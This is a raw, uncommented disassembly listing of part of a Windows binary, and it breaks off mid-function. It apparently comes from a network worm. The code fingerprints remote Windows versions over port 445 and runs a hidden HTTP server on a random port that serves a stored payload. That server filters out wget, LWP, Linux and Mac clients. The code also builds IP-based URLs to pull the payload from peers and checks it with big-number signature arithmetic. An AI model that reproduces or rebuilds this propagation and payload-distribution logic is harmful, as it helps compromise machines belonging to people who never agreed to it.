mov ecx, eax and ecx, 1Fh shr edx, cl test dl, 1 jnz short loc_9AE0F9 dec eax jns short loc_9AE0DC xor eax, eax loc_9AE0F9: ; CODE XREF: sub_9AE0D6+1Cj pop esi retn sub_9AE0D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AE0FB(void *Dst, int, int) sub_9AE0FB proc near ; CODE XREF: sub_9AE1BE+74p ; sub_9AE1BE+A1p Dst = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push 204h ; Size push 0 ; Val push [ebp+Dst] ; Dst call memset push ebx call sub_9AE0D6 mov edx, eax add esp, 10h test edx, edx jl loc_9AE1BC push esi push edi loc_9AE122: ; CODE XREF: sub_9AE0FB+B9j mov edi, [ebp+Dst] xor eax, eax mov ecx, 81h loc_9AE12C: ; CODE XREF: sub_9AE0FB+36j rcl dword ptr [edi], 1 lea edi, [edi+4] loop loc_9AE12C push [ebp+arg_8] push [ebp+Dst] call sub_9AE0A1 test eax, eax pop ecx pop ecx jl short loc_9AE15D mov edi, [ebp+Dst] mov esi, [ebp+arg_8] xor eax, eax mov ecx, 81h loc_9AE151: ; CODE XREF: sub_9AE0FB+60j mov eax, [esi] sbb [edi], eax lea esi, [esi+4] lea edi, [edi+4] loop loc_9AE151 loc_9AE15D: ; CODE XREF: sub_9AE0FB+47j mov eax, edx shr eax, 5 mov eax, [ebx+eax*4] mov ecx, edx and ecx, 1Fh shr eax, cl test al, 1 jz short loc_9AE1B3 mov edi, [ebp+Dst] mov esi, [ebp+arg_4] mov ecx, 81h xor eax, eax loc_9AE17D: ; CODE XREF: sub_9AE0FB+8Cj mov eax, [esi] adc [edi], eax lea esi, [esi+4] lea edi, [edi+4] loop loc_9AE17D push [ebp+arg_8] push [ebp+Dst] call sub_9AE0A1 test eax, eax pop ecx pop ecx jl short loc_9AE1B3 mov edi, [ebp+Dst] mov esi, [ebp+arg_8] xor eax, eax mov ecx, 81h loc_9AE1A7: ; CODE XREF: sub_9AE0FB+B6j mov eax, [esi] sbb [edi], eax lea esi, [esi+4] lea edi, [edi+4] loop loc_9AE1A7 loc_9AE1B3: ; CODE XREF: sub_9AE0FB+73j ; sub_9AE0FB+9Dj dec edx jns loc_9AE122 pop edi pop esi loc_9AE1BC: ; CODE XREF: sub_9AE0FB+1Fj pop ebp retn sub_9AE0FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9AE1BE proc near ; CODE XREF: sub_9AE286+89p var_410 = byte ptr -410h Dst = byte ptr -20Ch var_8 = dword ptr -8 var_4 = dword ptr -4 Src = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 410h push esi push 200h ; Size lea eax, [edi+4] push 0 ; Val push eax ; Dst mov dword ptr [edi], 1 call memset mov esi, 204h push esi ; Size push [ebp+Src] ; Src lea eax, [ebp+Dst] push eax ; Dst call memcpy push [ebp+arg_4] call sub_9AE0D6 and [ebp+var_4], 0 add esp, 1Ch test eax, eax mov [ebp+var_8], eax jl short loc_9AE283 push ebx loc_9AE20A: ; CODE XREF: sub_9AE1BE+C2j mov ecx, [ebp+var_4] mov edx, [ebp+arg_4] mov eax, ecx shr eax, 5 mov eax, [edx+eax*4] and ecx, 1Fh shr eax, cl test al, 1 jz short loc_9AE248 push [ebp+arg_8] ; int lea eax, [ebp+var_410] push edi ; int push eax ; Dst lea ebx, [ebp+Dst] call sub_9AE0FB push esi ; Size lea eax, [ebp+var_410] push eax ; Src push edi ; Dst call memcpy add esp, 18h loc_9AE248: ; CODE XREF: sub_9AE1BE+61j push [ebp+arg_8] ; int lea eax, [ebp+Dst] push eax ; int lea eax, [ebp+var_410] push eax ; Dst lea ebx, [ebp+Dst] call sub_9AE0FB push esi ; Size lea eax, [ebp+var_410] push eax ; Src mov eax, ebx push eax ; Dst call memcpy add esp, 18h inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jle short loc_9AE20A pop ebx loc_9AE283: ; CODE XREF: sub_9AE1BE+49j pop esi leave retn sub_9AE1BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AE286(void *Src, int, int, int) sub_9AE286 proc near ; CODE XREF: sub_9AE331+4Fp var_810 = byte ptr -810h var_611 = byte ptr -611h var_60C = byte ptr -60Ch var_408 = byte ptr -408h var_208 = dword ptr -208h var_204 = dword ptr -204h Dst = byte ptr -200h Src = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 810h mov eax, [ebp+arg_4] push esi push edi mov esi, 200h push esi ; Size mov [ebp+var_204], eax lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call memset push 204h ; Size lea eax, [ebp+var_60C] push 0 ; Val push eax ; Dst call memset push esi ; Size push [ebp+Src] ; Src lea eax, [ebp+var_60C] push eax ; Dst call memcpy mov eax, [ebp+arg_C] and [ebp+var_208], 0 add esp, 24h xor ecx, ecx add eax, 1FFh loc_9AE2E5: ; CODE XREF: sub_9AE286+6Cj mov dl, [eax] mov [ebp+ecx+var_408], dl inc ecx dec eax cmp ecx, esi jl short loc_9AE2E5 lea eax, [ebp+var_60C] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_408] push eax lea edi, [ebp+var_810] call sub_9AE1BE add esp, 0Ch xor ecx, ecx lea eax, [ebp+var_611] loc_9AE31F: ; CODE XREF: sub_9AE286+A5j mov dl, [eax] mov edi, [ebp+arg_8] mov [ecx+edi], dl inc ecx dec eax cmp ecx, esi jl short loc_9AE31F pop edi pop esi leave retn sub_9AE286 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AE331(void *Src, int, int, int, int) sub_9AE331 proc near ; CODE XREF: sub_9AD914+2Ap Buf1 = byte ptr -400h var_3FF = byte ptr -3FFh Dst = byte ptr -3FEh var_240 = byte ptr -240h Buf2 = byte ptr -200h var_80 = byte ptr -80h var_40 = byte ptr -40h Src = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h push 1FEh ; Size lea eax, [ebp+Dst] push 0FFh ; Val push eax ; Dst mov [ebp+Buf1], 0 mov [ebp+var_3FF], 1 call memset lea eax, [ebp+var_240] push eax ; Dst push [ebp+arg_10] ; int push [ebp+arg_C] ; int call sub_9B5980 push [ebp+arg_8] ; int lea eax, [ebp+Buf2] push eax ; int push [ebp+arg_4] ; int push [ebp+Src] ; Src call sub_9AE286 push 180h ; Size lea eax, [ebp+Buf2] push eax ; Buf2 lea eax, [ebp+Buf1] push eax ; Buf1 call memcmp add esp, 34h test eax, eax jnz short loc_9AE3F6 push 40h ; Size lea eax, [ebp+var_40] push eax ; Buf2 lea eax, [ebp+var_240] push eax ; Buf1 call memcmp add esp, 0Ch test eax, eax jnz short loc_9AE3F6 push 40h lea eax, [ebp+var_80] push eax push [ebp+arg_10] push [ebp+arg_C] call sub_9AE06F lea eax, [ebp+var_40] push eax ; Dst push [ebp+arg_10] ; int push [ebp+arg_C] ; int call sub_9B5980 push 40h ; Size lea eax, [ebp+var_40] push eax ; Buf2 lea eax, [ebp+var_80] push eax ; Buf1 call memcmp add esp, 28h neg eax sbb eax, eax inc eax leave retn ; --------------------------------------------------------------------------- loc_9AE3F6: ; CODE XREF: sub_9AE331+71j ; sub_9AE331+8Aj xor al, al leave retn sub_9AE331 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AE3FA(int, u_short netshort) sub_9AE3FA proc near ; CODE XREF: sub_9A9B77+9p var_3C = dword ptr -3Ch s = dword ptr -2Ch var_28 = dword ptr -28h len = dword ptr -24h hMem = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 netshort = word ptr 0Ch push 1Ch push offset stru_9A4AC8 call __SEH_prolog or ebx, 0FFFFFFFFh mov [ebp+var_1C], ebx mov [ebp+s], ebx xor edi, edi mov [ebp+hMem], edi mov [ebp+ms_exc.disabled], edi push 6 ; protocol push 1 ; type push 2 ; af call socket mov esi, eax mov [ebp+s], esi cmp esi, 0FFFFFFFFh jz loc_9AE65D push 4 ; int push dword ptr [ebp+netshort] ; netshort push [ebp+arg_0] ; int push esi ; fd call sub_9AB9DA add esp, 10h cmp eax, 0FFFFFFFFh jz loc_9AE65D cmp [ebp+netshort], 1BDh jz short loc_9AE49B push 7 ; int push 48h ; int push offset unk_9A4980 ; int push esi ; s call sub_9AB936 add esp, 10h cmp eax, 48h jnz loc_9AE65D push 7 ; int lea eax, [ebp+len] push eax ; len push esi ; s call sub_9AB869 add esp, 0Ch mov [ebp+hMem], eax cmp eax, edi jz loc_9AE65D cmp [ebp+len], edi jz loc_9AE65D push eax ; hMem call GlobalFree mov [ebp+hMem], edi loc_9AE49B: ; CODE XREF: sub_9AE3FA+57j push 7 pop edi push edi ; int push 33h ; int push offset dword_9A49CC ; int push esi ; s call sub_9AB936 add esp, 10h cmp eax, 33h jnz loc_9AE65D push edi ; int lea eax, [ebp+len] push eax ; len push esi ; s call sub_9AB869 add esp, 0Ch mov [ebp+hMem], eax test eax, eax jz loc_9AE65D cmp [ebp+len], 0 jz loc_9AE65D push eax ; hMem call GlobalFree and [ebp+hMem], 0 push edi ; int push 4Dh ; int push offset dword_9A4A00 ; int push esi ; s call sub_9AB936 add esp, 10h cmp eax, 4Dh jnz loc_9AE65D push edi ; int lea eax, [ebp+len] push eax ; len push esi ; s call sub_9AB869 add esp, 0Ch mov [ebp+hMem], eax test eax, eax jz loc_9AE65D mov eax, [ebp+len] test eax, eax jz loc_9AE620 loc_9AE524: ; CODE XREF: sub_9AE3FA+13Ej dec eax mov [ebp+var_28], eax mov ecx, [ebp+hMem] test eax, eax jz loc_9AE65D cmp byte ptr [eax+ecx-1], 0 jnz short loc_9AE524 test eax, eax jz loc_9AE65D loc_9AE542: ; CODE XREF: sub_9AE3FA+159j dec eax mov [ebp+var_28], eax test eax, eax jz loc_9AE65D cmp byte ptr [eax+ecx-1], 0 jnz short loc_9AE542 test eax, eax jz loc_9AE65D loc_9AE55D: ; CODE XREF: sub_9AE3FA+174j dec eax mov [ebp+var_28], eax test eax, eax jz loc_9AE65D cmp byte ptr [eax+ecx-1], 0 jnz short loc_9AE55D test eax, eax jz loc_9AE65D lea edi, [eax+ecx] push edi ; SubStr call _strlwr mov [esp+3Ch+var_3C], offset aVista ; "vista" push edi ; Str mov esi, strstr call esi ; strstr pop ecx pop ecx test eax, eax jz short loc_9AE5C8 push offset aServicePack1 ; "service pack 1" push edi ; Str call esi ; strstr pop ecx pop ecx test eax, eax jz short loc_9AE5AD push 9 jmp loc_9AE659 ; --------------------------------------------------------------------------- loc_9AE5AD: ; CODE XREF: sub_9AE3FA+1AAj push offset aServicePack ; "service pack" push edi ; Str call esi ; strstr pop ecx pop ecx mov ebx, eax neg ebx sbb ebx, ebx and ebx, 2 add ebx, 8 jmp loc_9AE65A ; --------------------------------------------------------------------------- loc_9AE5C8: ; CODE XREF: sub_9AE3FA+19Cj push offset aWindowsServer2 ; "windows server 2003" push edi ; Str call esi ; strstr pop ecx pop ecx test eax, eax jz short loc_9AE612 push offset aServicePack1 ; "service pack 1" push edi ; Str call esi ; strstr pop ecx pop ecx test eax, eax jz short loc_9AE5E8 push 5 jmp short loc_9AE659 ; --------------------------------------------------------------------------- loc_9AE5E8: ; CODE XREF: sub_9AE3FA+1E8j push offset aServicePack2 ; "service pack 2" push edi ; Str call esi ; strstr pop ecx pop ecx test eax, eax jz short loc_9AE5FA push 6 jmp short loc_9AE659 ; --------------------------------------------------------------------------- loc_9AE5FA: ; CODE XREF: sub_9AE3FA+1FAj push offset aServicePack ; "service pack" push edi ; Str call esi ; strstr pop ecx pop ecx mov ebx, eax neg ebx sbb ebx, ebx and ebx, 3 add ebx, 4 jmp short loc_9AE65A ; --------------------------------------------------------------------------- loc_9AE612: ; CODE XREF: sub_9AE3FA+1DAj push offset aWindows5_1 ; "windows 5.1" push edi ; Str call esi ; strstr pop ecx pop ecx test eax, eax jz short loc_9AE624 loc_9AE620: ; CODE XREF: sub_9AE3FA+124j push 3 jmp short loc_9AE659 ; --------------------------------------------------------------------------- loc_9AE624: ; CODE XREF: sub_9AE3FA+224j push offset aWindows5_0 ; "windows 5.0" push edi ; Str call esi ; strstr pop ecx pop ecx test eax, eax jz short loc_9AE636 push 2 jmp short loc_9AE659 ; --------------------------------------------------------------------------- loc_9AE636: ; CODE XREF: sub_9AE3FA+236j push offset aWindows4_0 ; "windows 4.0" push edi ; Str call esi ; strstr pop ecx pop ecx test eax, eax jz short loc_9AE649 xor ebx, ebx inc ebx jmp short loc_9AE65A ; --------------------------------------------------------------------------- loc_9AE649: ; CODE XREF: sub_9AE3FA+248j push offset aUnix ; "unix" push edi ; Str call esi ; strstr pop ecx pop ecx test eax, eax jz short loc_9AE65D push 0Bh loc_9AE659: ; CODE XREF: sub_9AE3FA+1AEj ; sub_9AE3FA+1ECj ... pop ebx loc_9AE65A: ; CODE XREF: sub_9AE3FA+1C9j ; sub_9AE3FA+216j ... mov [ebp+var_1C], ebx loc_9AE65D: ; CODE XREF: sub_9AE3FA+31j ; sub_9AE3FA+4Bj ... or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_9AE671 ; --------------------------------------------------------------------------- loc_9AE663: ; DATA XREF: .text:stru_9A4AC8o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9AE667: ; DATA XREF: .text:stru_9A4AC8o mov esp, [ebp+ms_exc.old_esp] or [ebp+ms_exc.disabled], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_9AE671: ; CODE XREF: sub_9AE3FA+267j cmp [ebp+hMem], 0 jz short loc_9AE680 push [ebp+hMem] ; hMem call GlobalFree loc_9AE680: ; CODE XREF: sub_9AE3FA+27Bj cmp [ebp+s], 0FFFFFFFFh jz short loc_9AE69A push 1 ; how push [ebp+s] ; s call shutdown push [ebp+s] ; s call closesocket loc_9AE69A: ; CODE XREF: sub_9AE3FA+28Aj mov eax, ebx call __SEH_epilog retn sub_9AE3FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; DWORD __stdcall sub_9AE6A2(LPVOID) sub_9AE6A2 proc near ; DATA XREF: sub_9AEAF7+116o Buf2 = byte ptr -29Ch var_9D = byte ptr -9Dh Str = byte ptr -9Ch var_5D = byte ptr -5Dh name = sockaddr ptr -5Ch var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h netlong = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h hMem = dword ptr -2Ch var_28 = dword ptr -28h len = dword ptr -24h s = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 28Ch push offset stru_9A4B98 call __SEH_prolog mov eax, [ebp+arg_0] mov [ebp+var_44], eax mov esi, [eax] mov [ebp+s], esi mov eax, [eax+4] mov [ebp+netlong], eax xor ebx, ebx mov [ebp+var_38], ebx mov [ebp+hMem], ebx mov [ebp+var_1C], ebx mov [ebp+len], 10h call sub_9AB510 mov [ebp+ms_exc.disabled], ebx lea eax, [ebp+len] push eax ; namelen lea eax, [ebp+name] push eax ; name push esi ; s call getsockname cmp eax, 0FFFFFFFFh jz short loc_9AE6F6 mov eax, dword ptr [ebp+name.sa_data+2] mov [ebp+var_38], eax loc_9AE6F6: ; CODE XREF: sub_9AE6A2+4Cj push 7 ; int lea eax, [ebp+len] push eax ; len push esi ; s call sub_9AB869 add esp, 0Ch mov edi, eax mov [ebp+hMem], edi cmp edi, ebx jz loc_9AE9D8 push offset dword_9BA28C mov esi, offset aGetSHttp ; "get /%s http/" push esi ; Format push 200h ; Count lea eax, [ebp+Buf2] push eax ; Dest mov ebx, _snprintf call ebx ; _snprintf mov [ebp+var_9D], 0 push offset dword_9BA298 push esi ; Format push 40h ; Count lea eax, [ebp+Str] push eax ; Dest call ebx ; _snprintf add esp, 20h mov [ebp+var_5D], 0 mov eax, [ebp+len] test eax, eax jz short loc_9AE764 mov byte ptr [eax+edi-1], 0 push edi ; Str call _strlwr pop ecx loc_9AE764: ; CODE XREF: sub_9AE6A2+B3j lea eax, [ebp+Buf2] push eax ; Str call strlen pop ecx cmp [ebp+len], eax jle short loc_9AE7A0 lea eax, [ebp+Buf2] push eax ; Str call strlen push eax ; Size lea eax, [ebp+Buf2] push eax ; Buf2 push edi ; Buf1 call memcmp add esp, 10h test eax, eax jnz short loc_9AE7A0 mov [ebp+var_1C], 1 jmp short loc_9AE7DA ; --------------------------------------------------------------------------- loc_9AE7A0: ; CODE XREF: sub_9AE6A2+D2j ; sub_9AE6A2+F3j lea eax, [ebp+Str] push eax ; Str call strlen pop ecx cmp [ebp+len], eax jle short loc_9AE7DA lea eax, [ebp+Str] push eax ; Str call strlen push eax ; Size lea eax, [ebp+Str] push eax ; Buf2 push edi ; Buf1 call memcmp add esp, 10h test eax, eax jnz short loc_9AE7DA mov [ebp+var_1C], 2 loc_9AE7DA: ; CODE XREF: sub_9AE6A2+FCj ; sub_9AE6A2+10Ej ... cmp [ebp+var_1C], 0 jz loc_9AE9D8 xor esi, esi inc esi mov [ebp+var_28], esi push [ebp+netlong] ; netlong call sub_9A8DB4 pop ecx test eax, eax jnz loc_9AE88E cmp [ebp+var_1C], esi jnz loc_9AE88A push offset asc_9A4B80 ; "\r\n\r" push edi ; Str mov esi, strstr call esi ; strstr pop ecx pop ecx test eax, eax jz short loc_9AE88A push offset aUserAgent ; "\r\nuser-agent:" push edi ; Str call esi ; strstr pop ecx pop ecx mov edi, eax mov [ebp+var_48], edi test edi, edi jz short loc_9AE88E push offset asc_9A4228 ; "\r\n" lea eax, [edi+2] push eax ; Str call esi ; strstr pop ecx pop ecx mov [ebp+var_4C], eax test eax, eax jz short loc_9AE88E mov byte ptr [eax], 0 push offset aWindowsNt5_ ; "windows nt 5." push edi ; Str call esi ; strstr pop ecx pop ecx test eax, eax jz short loc_9AE88E push offset aWget ; "wget" push edi ; Str call esi ; strstr pop ecx pop ecx test eax, eax jnz short loc_9AE88E push offset aLwp ; "lwp::" push edi ; Str call esi ; strstr pop ecx pop ecx test eax, eax jnz short loc_9AE88E push offset aLinux ; "linux" push edi ; Str call esi ; strstr pop ecx pop ecx test eax, eax jnz short loc_9AE88E push offset aMacintosh ; "macintosh" push [ebp+hMem] ; Str call esi ; strstr pop ecx pop ecx test eax, eax jnz short loc_9AE88E loc_9AE88A: ; CODE XREF: sub_9AE6A2+15Cj ; sub_9AE6A2+174j and [ebp+var_28], 0 loc_9AE88E: ; CODE XREF: sub_9AE6A2+153j ; sub_9AE6A2+187j ... xor eax, eax cmp [ebp+var_28], eax jnz short loc_9AE8A9 mov ecx, ds:lpBuffer mov [ebp+var_3C], ecx mov esi, ds:nNumberOfBytesToWrite mov [ebp+var_34], esi jmp short loc_9AE8AC ; --------------------------------------------------------------------------- loc_9AE8A9: ; CODE XREF: sub_9AE6A2+1F1j mov esi, [ebp+var_34] loc_9AE8AC: ; CODE XREF: sub_9AE6A2+205j cmp [ebp+var_28], eax jz short loc_9AE8CF mov [ebp+var_1C], 4 mov [ebp+var_3C], eax call rand mov esi, eax add esi, 64h imul esi, 3E8h mov [ebp+var_34], esi loc_9AE8CF: ; CODE XREF: sub_9AE6A2+20Dj mov edi, rand call edi ; rand and eax, 3 push ds:off_9B9D98[eax*4] push esi push offset aHttp1_0200OkPr ; "HTTP/1.0 200 OK\r\nPragma: no-cache\r\nCont"... push 200h ; Count lea eax, [ebp+Buf2] push eax ; Dest call ebx ; _snprintf add esp, 14h mov [ebp+var_9D], 0 and [ebp+var_30], 0 push 7 ; int lea eax, [ebp+Buf2] push eax ; Str call strlen pop ecx push eax ; int lea eax, [ebp+Buf2] push eax ; int push [ebp+s] ; s call sub_9AB936 mov ebx, eax lea eax, [ebp+Buf2] push eax ; Str call strlen add esp, 14h cmp eax, ebx jnz short loc_9AE99F cmp [ebp+var_1C], 4 jz short loc_9AE95B push 7 ; int push esi ; int push [ebp+var_3C] ; int push [ebp+s] ; s call sub_9AB936 add esp, 10h cmp esi, eax jnz short loc_9AE99F mov [ebp+var_30], 1 jmp short loc_9AE99F ; --------------------------------------------------------------------------- loc_9AE95B: ; CODE XREF: sub_9AE6A2+299j mov esi, 1FFh loc_9AE960: ; CODE XREF: sub_9AE6A2+2FBj push esi lea eax, [ebp+Buf2] push eax call sub_9AB647 pop ecx pop ecx call edi ; rand cdq mov ecx, 1388h idiv ecx add edx, 6A4h push edx ; dwMilliseconds call Sleep push 7 ; int push esi ; int lea eax, [ebp+Buf2] push eax ; int push [ebp+s] ; s call sub_9AB936 add esp, 10h cmp eax, esi jz short loc_9AE960 loc_9AE99F: ; CODE XREF: sub_9AE6A2+293j ; sub_9AE6A2+2AEj ... cmp [ebp+var_30], 0 jz short loc_9AE9D8 cmp [ebp+var_1C], 1 jnz short loc_9AE9D8 push offset dword_9B9F38 ; lpAddend call InterlockedIncrement push ds:dword_9B9F38 ; Data call sub_9A81C3 push [ebp+var_38] push [ebp+netlong] call sub_9AC911 add esp, 0Ch jmp short loc_9AE9D8 ; --------------------------------------------------------------------------- loc_9AE9D1: ; DATA XREF: .text:stru_9A4B98o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9AE9D5: ; DATA XREF: .text:stru_9A4B98o mov esp, [ebp+ms_exc.old_esp] loc_9AE9D8: ; CODE XREF: sub_9AE6A2+6Aj ; sub_9AE6A2+13Cj ... or [ebp+ms_exc.disabled], 0FFFFFFFFh cmp [ebp+hMem], 0 jz short loc_9AE9EB push [ebp+hMem] ; hMem call GlobalFree loc_9AE9EB: ; CODE XREF: sub_9AE6A2+33Ej push 1 ; how push [ebp+s] ; s call shutdown push [ebp+s] ; s call closesocket push [ebp+var_44] ; hMem call GlobalFree xor eax, eax call __SEH_epilog retn 4 sub_9AE6A2 endp ; =============== S U B R O U T I N E ======================================= sub_9AEA12 proc near ; CODE XREF: sub_9AEAF7+62p var_18 = dword ptr -18h var_14 = dword ptr -14h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch sub esp, 18h push ebx push ebp push edi xor edi, edi push 10h ; Size lea eax, [esp+28h+Dst] push edi ; Val push eax ; Dst mov [esp+30h+var_14], edi call memset mov [esp+30h+Dst], 2 mov [esp+30h+var_C], edi call sub_9AB343 push eax ; Seed call srand mov ebx, Sleep add esp, 10h mov [esp+24h+var_18], edi mov ebp, 1388h loc_9AEA54: ; CODE XREF: sub_9AEA12+C0j call rand cdq mov ecx, 2310h idiv ecx mov edi, edx add edi, 400h push edi call sub_9A8FED test eax, eax pop ecx jnz short loc_9AEA8C cmp ds:dword_9BA2A8, eax jnz short loc_9AEA8F call sub_9A8CAF mov ds:dword_9BA2A8, 1 loc_9AEA8C: ; CODE XREF: sub_9AEA12+61j push ebp ; dwMilliseconds call ebx ; Sleep loc_9AEA8F: ; CODE XREF: sub_9AEA12+69j push 6 ; protocol push 1 ; type push 2 ; af call socket cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_9AEADE push edi ; netshort call ntohs mov [esp+24h+var_E], ax push 10h ; namelen lea eax, [esp+28h+Dst] push eax ; name push dword ptr [esi] ; s call bind test eax, eax jz short loc_9AEAD6 push dword ptr [esi] ; s call closesocket inc [esp+24h+var_18] cmp [esp+24h+var_18], 0Ah jl short loc_9AEA54 jmp short loc_9AEADE ; --------------------------------------------------------------------------- loc_9AEAD6: ; CODE XREF: sub_9AEA12+ADj mov [esp+24h+var_14], 1 loc_9AEADE: ; CODE XREF: sub_9AEA12+8Ej ; sub_9AEA12+C2j call sub_9AB510 mov eax, [esp+24h+var_14] movzx ecx, di neg eax pop edi sbb eax, eax pop ebp and eax, ecx pop ebx add esp, 18h retn sub_9AEA12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; DWORD __stdcall sub_9AEAF7(LPVOID) sub_9AEAF7 proc near ; DATA XREF: sub_9AEC54+18o readfds = fd_set ptr -220h exceptfds = fd_set ptr -11Ch addr = sockaddr ptr -18h ThreadId = dword ptr -8 addrlen = dword ptr -4 push ebp mov ebp, esp sub esp, 220h push ebx call sub_9AB510 xor ebx, ebx cmp ds:lpBuffer, ebx jz loc_9AEC4C cmp ds:nNumberOfBytesToWrite, ebx jz loc_9AEC4C push esi mov esi, rand call esi ; rand push 5 pop ecx cdq idiv ecx add edx, 4 push edx push offset dword_9BA28C call sub_9AB647 call esi ; rand push 5 pop ecx cdq idiv ecx add edx, 4 push edx push offset dword_9BA298 call sub_9AB647 add esp, 10h lea esi, [ebp+addrlen] call sub_9AEA12 mov esi, eax cmp si, bx jz loc_9AEC3A push edi mov edi, [ebp+addrlen] push 32h ; backlog push edi ; s call listen test eax, eax jnz loc_9AEC32 movzx eax, si push eax ; Value push offset dword_9BA2A4 ; Target mov [ebp+addrlen], 10h call InterlockedExchange loc_9AEB94: ; CODE XREF: sub_9AEAF7+F8j ; sub_9AEAF7+12Aj ... xor eax, eax inc eax push ebx ; timeout mov [ebp+readfds.fd_count], eax mov [ebp+exceptfds.fd_count], eax lea eax, [ebp+exceptfds] push eax ; exceptfds push ebx ; writefds lea eax, [ebp+readfds] push eax ; readfds push ebx ; nfds mov [ebp+readfds.fd_array], edi mov [ebp+exceptfds.fd_array], edi call select test eax, eax jle short loc_9AEC32 lea eax, [ebp+exceptfds] push eax ; fd_set * push edi ; fd call __WSAFDIsSet test eax, eax jnz short loc_9AEC32 lea eax, [ebp+addrlen] push eax ; addrlen lea eax, [ebp+addr] push eax ; addr push edi ; s call accept mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_9AEB94 push 8 ; dwBytes push 40h ; uFlags call GlobalAlloc cmp eax, ebx jz short loc_9AEC26 mov [eax], esi mov ecx, dword ptr [ebp+addr.sa_data+2] mov [eax+4], ecx lea ecx, [ebp+ThreadId] push ecx ; lpThreadId push ebx ; dwCreationFlags push eax ; lpParameter push offset sub_9AE6A2 ; lpStartAddress push ebx ; dwStackSize push ebx ; lpThreadAttributes call CreateThread push eax ; hObject call CloseHandle jmp loc_9AEB94 ; --------------------------------------------------------------------------- loc_9AEC26: ; CODE XREF: sub_9AEAF7+106j push esi ; s call closesocket jmp loc_9AEB94 ; --------------------------------------------------------------------------- loc_9AEC32: ; CODE XREF: sub_9AEAF7+81j ; sub_9AEAF7+D1j ... push edi ; s call closesocket pop edi loc_9AEC3A: ; CODE XREF: sub_9AEAF7+6Cj push ebx ; Value push offset dword_9BA2A4 ; Target call InterlockedExchange push 2 pop eax pop esi jmp short loc_9AEC4F ; --------------------------------------------------------------------------- loc_9AEC4C: ; CODE XREF: sub_9AEAF7+17j ; sub_9AEAF7+23j xor eax, eax inc eax loc_9AEC4F: ; CODE XREF: sub_9AEAF7+153j pop ebx leave retn 4 sub_9AEAF7 endp ; =============== S U B R O U T I N E ======================================= sub_9AEC54 proc near ; CODE XREF: StartAddress+1BCp ThreadId = dword ptr -4 push ecx push esi push edi xor edi, edi push edi ; Value push offset dword_9BA2A4 ; Target call InterlockedExchange lea eax, [esp+0Ch+ThreadId] push eax ; lpThreadId push edi ; dwCreationFlags push edi ; lpParameter push offset sub_9AEAF7 ; lpStartAddress push edi ; dwStackSize push edi ; lpThreadAttributes call CreateThread push eax ; hObject call CloseHandle xor esi, esi loc_9AEC82: ; CODE XREF: sub_9AEC54+45j cmp ds:dword_9BA2A4, edi jnz short loc_9AEC9B push 1F4h ; dwMilliseconds call Sleep inc esi cmp esi, 64h jl short loc_9AEC82 loc_9AEC9B: ; CODE XREF: sub_9AEC54+34j mov eax, ds:dword_9BA2A4 pop edi pop esi pop ecx retn sub_9AEC54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9AECA4 proc near ; CODE XREF: sub_9ACABE+19Ep ; sub_9ACABE+2A4p szUrl = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 80h mov eax, ds:dword_9BA2A4 push edi xor edi, edi cmp word ptr [ebp+arg_4], di jnz short loc_9AECC0 cmp ax, di jz short loc_9AED33 loc_9AECC0: ; CODE XREF: sub_9AECA4+15j push esi push offset dword_9BA298 push eax mov eax, [ebp+arg_0] mov ecx, eax shr ecx, 18h push ecx movzx ecx, byte ptr [ebp+arg_0+2] push ecx movzx ecx, ah push ecx and eax, 0FFh push eax push offset aHttpD_D_D_DDS ; "http://%d.%d.%d.%d:%d/%s" lea eax, [ebp+szUrl] push 80h ; Count push eax ; Dest call _snprintf push edi ; int lea eax, [ebp+arg_4] push eax ; int lea eax, [ebp+szUrl] push eax ; lpszUrl call sub_9ABAC6 mov esi, eax add esp, 30h cmp esi, edi jz short loc_9AED32 mov eax, ds:nNumberOfBytesToWrite cmp [ebp+arg_4], eax jb short loc_9AED2B push eax ; Size push ds:lpBuffer ; Buf2 push esi ; Buf1 call memcmp add esp, 0Ch test eax, eax jnz short loc_9AED2B xor edi, edi inc edi loc_9AED2B: ; CODE XREF: sub_9AECA4+6Ej ; sub_9AECA4+82j push esi ; hMem call GlobalFree loc_9AED32: ; CODE XREF: sub_9AECA4+64j pop esi loc_9AED33: ; CODE XREF: sub_9AECA4+1Aj mov eax, edi pop edi leave retn sub_9AECA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9AED38 proc near ; CODE XREF: sub_9A983B+82p var_4 = dword ptr -4 